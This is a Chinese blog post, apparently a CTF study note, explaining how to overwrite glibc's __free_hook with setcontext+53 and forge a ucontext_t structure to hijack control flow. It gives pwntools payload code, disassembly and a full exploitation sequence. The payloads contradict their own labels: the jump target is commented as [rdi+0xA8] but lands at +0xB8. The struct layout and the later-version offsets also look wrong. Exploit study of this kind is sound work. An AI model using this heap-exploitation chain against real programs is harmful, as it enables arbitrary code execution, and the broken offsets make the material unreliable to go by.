8-1-一些知识点思考

8-1-一些知识点思考

如何做到修改free_hook为setcontext+53

  1. 劫持 __free_hook
    __free_hook 覆盖为 setcontext+53 地址,使 free() 被调用时跳转到此处。
  2. 控制 RDI 寄存器
    free() 的参数(要释放的内存地址)会存入 RDI,该地址需指向伪造的 ucontext_t 结构。
  3. 构造 ucontext_t 结构
    RDI 指向的内存中布置伪造结构,关键是通过 setcontext+53 的汇编逻辑劫持控制流。

伪造 ucontext_t 结构详解

ucontext_t 是 glibc 中用于保存执行上下文的结构体,主要用于实现协程和非本地跳转(如 setcontextgetcontext 等函数)。在堆漏洞利用中,伪造 ucontext_t 结构是指我们通过控制内存布局,创建一个假的 ucontext_t 结构,从而劫持程序的执行流程。

为什么需要伪造 ucontext_t?

当我们将 __free_hook 设置为 setcontext+53 时,程序在调用 free() 时会跳转到 setcontext+53 执行。而 setcontext 函数的核心功能就是从一个 ucontext_t 结构中恢复执行上下文(寄存器状态)。

因此,要让程序按照我们的意愿执行,我们需要:

  1. 控制 RDI 指向一个伪造的 ucontext_t 结构
  2. 在这个伪造结构中设置关键寄存器值(如 RSP、RCX/RIP)

ucontext_t 结构的关键部分

完整的 ucontext_t 结构很大,但在漏洞利用中我们只关心关键部分:

// 简化版 ucontext_t 结构(x86_64)
struct ucontext_t {
    // ... 其他我们不关心的字段 ...
    
    // 关键偏移:0xA0 处开始
    void *uc_stack.ss_sp;    // 栈指针 (RSP 将从此处加载)
    void *uc_stack.ss_size;  // 栈大小
    void *uc_link;           // 链接到下一个上下文
    
    // 寄存器保存区域 (uc_mcontext.gregs)
    long gregs[23];          // 通用寄存器数组
    // 索引定义:
    //   REG_R8 = 0
    //   REG_R9 = 1
    //   ...
    //   REG_RDI = 8
    //   REG_RSI = 9
    //   ...
    //   REG_RIP = 16   // 指令指针
    //   REG_RSP = 19   // 栈指针 (再次出现)
};

在利用中如何伪造

我们不需要构造完整结构,只需设置关键偏移处的值:

# 伪造的 ucontext_t 结构
payload = b''
payload += b'A' * 0xA0        # 填充前 0xA0 字节(任意内容)
payload += p64(new_rsp)       # [rdi+0xA0] - 设置新的 RSP
payload += b'B' * 8           # uc_stack.ss_size (任意)
payload += b'C' * 8           # uc_link (任意)
payload += p64(target_addr)   # [rdi+0xA8] - 设置 RCX (用于跳转)

. uc_stack.ss_size (栈大小)

  • 作用:理论上表示栈的大小,但在漏洞利用中并不使用
  • 设置建议
    • 设置为 0 或任意非零值均可
    • 避免设置过大的值(如 0xFFFFFFFF),虽然通常不会导致问题,但某些极端情况下可能触发内存检查
    • 示例:payload += p64(0)payload += b'\x00'*8
  • 作用:指向下一个执行上下文,当当前上下文结束时跳转
  • 关键注意事项
    • 必须设置为 NULL (0)
    • 如果设置为非零值,程序在完成当前上下文后会尝试跳转到 uc_link 指向的新上下文
    • 如果该地址不可访问或无效,会导致段错误(SIGSEGV)
    • 示例:payload += p64(0)

关键偏移说明:

偏移 大小 用途 对应寄存器
+0xA0 8字节 新栈指针 RSP
+0xA8 8字节 跳转目标 RCX (通过 push; ret 跳转)

为什么 setcontext+53 需要这些偏移?

查看 setcontext+53 的反汇编代码(glibc 2.27-2.31):

setcontext+53:
    mov    rsp, QWORD PTR [rdi+0xa0]  ; 加载新栈指针
    mov    rbx, QWORD PTR [rdi+0x80]  ; 加载 RBX
    mov    rbp, QWORD PTR [rdi+0x78]  ; 加载 RBP
    mov    r12, QWORD PTR [rdi+0x48]  ; 加载 R12
    mov    r13, QWORD PTR [rdi+0x50]  ; 加载 R13
    mov    r14, QWORD PTR [rdi+0x58]  ; 加载 R14
    mov    r15, QWORD PTR [rdi+0x60]  ; 加载 R15
    mov    rcx, QWORD PTR [rdi+0xa8]  ; 加载 RCX (关键!)
    push   rcx                        ; 将 RCX 压栈
    ret                               ; 跳转到 RCX 指向的地址

完整利用流程

  1. 准备伪造结构

    # 计算目标地址
    target = libc_base + 0x10a2fc  # one_gadget 示例
    
    # 伪造 ucontext_t
    fake_ctx = b'A'*0xA0          # 填充到 0xA0
    fake_ctx += p64(stack_addr)   # 新栈指针 (RSP)
    fake_ctx += p64(0)            # ss_size (任意)
    fake_ctx += p64(0)            # uc_link (任意)
    fake_ctx += p64(target)       # RCX (跳转目标)
    
  2. 写入伪造结构

    # 将伪造结构写入堆内存
    write(fake_chunk_addr, fake_ctx)
    
  3. 劫持 __free_hook

    setcontext_53 = libc_base + libc.sym['setcontext'] + 53
    write(free_hook_addr, p64(setcontext_53))
    
  4. 触发执行

    # 释放包含伪造结构的堆块
    free(fake_chunk_addr)
    

    执行流程:

    free(fake_chunk_addr) → 
      RDI = fake_chunk_addr →
      __free_hook(setcontext+53) →
         RSP = [RDI+0xA0] = stack_addr
         RCX = [RDI+0xA8] = target
         push RCX; ret → 跳转到 target
    

不同 glibc 版本的差异

glibc 版本 关键偏移 跳转寄存器
2.27-2.31 +0xA0 (RSP) +0xA8 (RCX) RCX
2.32-2.35 +0x68 (RSP) +0x98 (RDX) RDX
2.36+ 完全重构 需要新方法

调试技巧

使用 gdb 验证:

# 在 setcontext+53 设断点
b *setcontext+53

# 触发 free 后检查寄存器
p $rdi  # 应指向伪造结构
x/gx $rdi+0xA0  # 应显示 stack_addr
x/gx $rdi+0xA8  # 应显示 target

# 单步执行直到 ret
ni 多次

# 检查跳转
c  # 应跳转到 target

伪造 ucontext_t 结构是利用 setcontext 函数实现控制流劫持的核心技术,通过精确控制内存布局,我们可以实现任意代码执行。

posted @ 2025-08-01 23:26  shanlinchuanze  阅读(19)  评论(0)    收藏  举报